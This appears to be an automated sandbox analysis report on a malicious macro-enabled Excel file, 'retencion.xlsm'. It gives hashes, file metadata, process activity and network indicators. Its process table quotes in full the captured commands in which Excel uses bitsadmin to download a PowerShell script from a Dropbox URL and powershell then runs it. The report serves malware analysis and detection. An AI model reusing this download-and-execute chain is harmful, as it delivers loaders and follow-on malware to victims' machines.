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| File name: | retencion.xlsm |
| Full analysis: | https://app.any.run/tasks/66b5d514-e4b4-4542-a877-a4b35d1ec170 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | December 14, 2018, 20:23:28 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.openxmlformats-officedocument.spreadsheetml.sheet |
| File info: | Microsoft Excel 2007+ |
| MD5: | F6D70FAE9BD03922354543CB32AE64A7 |
| SHA1: | A77BFFF2CB013A8D24842DB6BD0BB83BAEB56774 |
| SHA256: | 5BB0A56077B5C66DD38CE41CA48EF9E4E4F3A86329E1E8AD4059910D4891377E |
| SSDEEP: | 768:NrKjaPdlP9ke0TwcoPK+v3Jgsb19nQFX4aqnRG1gCd:VhPdywcn+vZgw9nQFX2G1gm |
MALICIOUS
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 2948)
Uses BITADMIN.EXE for downloading application
- EXCEL.EXE (PID: 2948)
Executes PowerShell scripts
- EXCEL.EXE (PID: 2948)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 2444)
INFO
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 2948)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xlsm | | | Excel Microsoft Office Open XML Format document (with Macro) (50.8) |
|---|---|---|
| .xlsx | | | Excel Microsoft Office Open XML Format document (30) |
| .zip | | | Open Packaging Conventions container (15.4) |
| .zip | | | ZIP compressed archive (3.5) |
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | 0x0006 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 1980:01:01 00:00:00 |
| ZipCRC: | 0xf3ea132d |
| ZipCompressedSize: | 395 |
| ZipUncompressedSize: | 1257 |
| ZipFileName: | [Content_Types].xml |
XMP
| Creator: | - |
|---|
XML
| LastModifiedBy: | - |
|---|---|
| CreateDate: | 2006:09:16 00:00:00Z |
| ModifyDate: | 2018:12:14 20:23:57Z |
| Application: | Microsoft Excel |
| DocSecurity: | None |
| ScaleCrop: | No |
| HeadingPairs: |
|
| TitlesOfParts: | Sheet1 |
| Company: | - |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| AppVersion: | 15.03 |
Total processes
36
Monitored processes
3
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2948 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 | ||||
| 3372 | "C:\Windows\System32\bitsadmin.exe" /transfer myFile /download /priority normal https://uc4f42723e4d9cb9cc065d3c07d7.dl.dropboxusercontent.com/cd/0/get/AXceqHqr0I85BNk8gFGbnqd_wwMdl33h5h24Dj8zO0wuCm9hpa5UytMoBs_3Ba0T6GHZ85NEUo5IEctVsmK5AhSKJWmG7BwIVeC4Z3IgEZubIKDWq4a8_SjKcn5QgRkXvaE1OBrrE4hbTNTgWlyXWCqZzHFAcuS0zURFpvDBSKC0UGa2y38gLnRdrO7AntUcG24/file?_download_id=5581924228789783766119020097164499183865548220055928297814792769&_notify_domain=www.dropbox.com&dl=1.ps1 C:\Users\admin\AppData\Local\Temp\\pepe.ps1 | C:\Windows\System32\bitsadmin.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7600.16385 (win7_rtm.090713-1255) | ||||
| 2444 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-file" "C:\Users\admin\AppData\Local\Temp\pepe.ps1" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
866
Read events
772
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
2
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2948 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR6978.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2948 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~$retencion.xlsm | — | |
MD5:— | SHA256:— | |||
| 2948 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\~DF8438869C4D3FF3C2.TMP | — | |
MD5:— | SHA256:— | |||
| 2444 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1F7JUUI50P2Z49QLNGTT.temp | — | |
MD5:— | SHA256:— | |||
| 2444 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:6073B6FC66D2E68644893344F6904E4A | SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3 | |||
| 2444 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF24e7a1.TMP | binary | |
MD5:6073B6FC66D2E68644893344F6904E4A | SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 162.125.66.6:443 | uc4f42723e4d9cb9cc065d3c07d7.dl.dropboxusercontent.com | Dropbox, Inc. | DE | shared |
DNS requests
Domain | IP | Reputation |
|---|---|---|
uc4f42723e4d9cb9cc065d3c07d7.dl.dropboxusercontent.com |
| malicious |